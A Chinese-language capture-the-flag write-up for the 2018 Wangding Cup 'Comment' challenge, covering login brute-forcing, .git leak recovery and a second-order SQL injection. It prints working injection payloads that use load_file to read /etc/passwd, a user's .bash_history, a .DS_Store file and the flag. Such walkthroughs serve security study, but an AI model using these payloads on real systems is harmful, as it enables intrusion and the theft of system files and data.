[网鼎杯 2018]Comment git泄露 / 恢复 二次注入 .DS_Store bash_history文件查看

首先我们看到账号密码有提示了

我们bp爆破一下

我首先对数字爆破 因为全字符的话太多了

爆出来了哦

所以账号密码也出来了

复制代码
zhangwei
zhangwei666

没有什么用啊

扫一下吧

有git

git泄露

那泄露看看

真有

复制代码
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    break;
case 'comment':
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

原本的githack坏了

mirrors / BugScanTeam / GitHack · GitCode

重新下了一个 需要下载后 里面存在 .git文件夹

然后看上面的代码 根本没有看懂 感觉不是全部

git 恢复

所以我们可以使用git log --all看看

以前的情况

我们直接回到最开始

复制代码
git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

全部代码就出来了

用了个switch 内容为go

复制代码
addslashes  这里是 通过转义的方式 存入数据库 很容易造成二次注入

因为会把内容原封不动传入数据库 

如果读取 就会造成二次注入

case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);

这里我们能发现 查询的内容 是 category


所以category 就是我们写入的内容的参数了

这里懂得差不多了

复制代码
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
主要是这里 设定了从数据库提取出来的值

    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);


这里我们就可以构造了

$category=0' content = database(),/*    后面的/*是用来和我们详情里面输入的content闭合

我们首先写入留言

复制代码
0',content=database(),/*

然后进去提交留言

这个时候就会形成

复制代码
   $sql = "insert into comment
            set category = '0',content = database(),/*',
                content = '*/#',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);


更直观点


   $sql = "insert into comment
            set category = '0',content = database(),/*',content = '*/#',
                bo_id = '$bo_id'";
 


/*',content = '*/#'


这里就为空了 所以现在的语句是

set category = '0',content = database(),
                bo_id = '$bo_id'";

然后我们进行查表 发现没有flag

于是我们可以看看user()函数

发现是root权限

那么多半就是 读取了

load_file可以读取

我们读取看看

这里又是另一个文件读取的方法了

之前做的题 proc这里没有用

任意文件读取

.bash_history

我们首先去查看 etc/passwd

复制代码
0',content=(select load_file('/etc/passwd')),/*

发现存在 www用户 我们去看看他的历史命令

cs 复制代码
0',content=(select load_file('/home/www/.bash_history')),/*

这里发现了 是删除了 .DS_Store

但是ctf环境一般都是docker环境 所以在

/tmp/html下还会存在

我们去读取

复制代码
0',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*


这里需要通过十六进制输出 因为会有很多不可见的字符

.DS_Store泄露

我们通过通过瑞士军刀可以 恢复成 文件形式 并且导出

然后通过 Python-dsstore-master

来实现解析读取文件

cs 复制代码
py3 .\main.py .\samples\download.dat

我们来解析读取这个flag

cs 复制代码
0',content=(select load_file('/tmp/html/flag_8946e1ff1ee3e40f.php')),/*

但是这个文件是错误的 flag为错误

可能修改了 所以我们回去 /var进行读取

cs 复制代码
0',content=(select load_file('/var/www/html/flag_8946e1ff1ee3e40f.php')),/*
cs 复制代码
flag{5737c889-1e5b-47a6-b14d-87df5dd59e01}

知识点 过多了。。。。。

虽然都很基础 但是有的时候 真没想到 可以以后再做一次

相关推荐
爱莉希雅&&&10 小时前
shell编程之awk命令详解
linux·服务器·git
baiyu3310 小时前
成为git砖家(12): 看懂git合并分支时冲突提示符
git
wu_aceo14 小时前
将本地项目提交到Gitee
git·gitee·提交·本地提交·上传git
随便取个六字1 天前
GIT操作 学习
git·学习
星源~1 天前
tree 命令集成到 Git Bash:可视化目录结构的指南
git·单片机·物联网·嵌入式·项目开发
zhaqonianzhu1 天前
git gerrit安装钩子
git·gerrit
这是个栗子1 天前
【问题解决】VSCode终端中看不到Git-Bash
ide·git·vscode
悲伤小伞1 天前
linux_git的使用
linux·c语言·c++·git
天机️灵韵2 天前
云效DevOps vs Gitee vs 自建GitLab的技术选型
git·开源项目
荔枝吻2 天前
【AI总结】Git vs GitHub vs GitLab:深度解析三者联系与核心区别
人工智能·git·github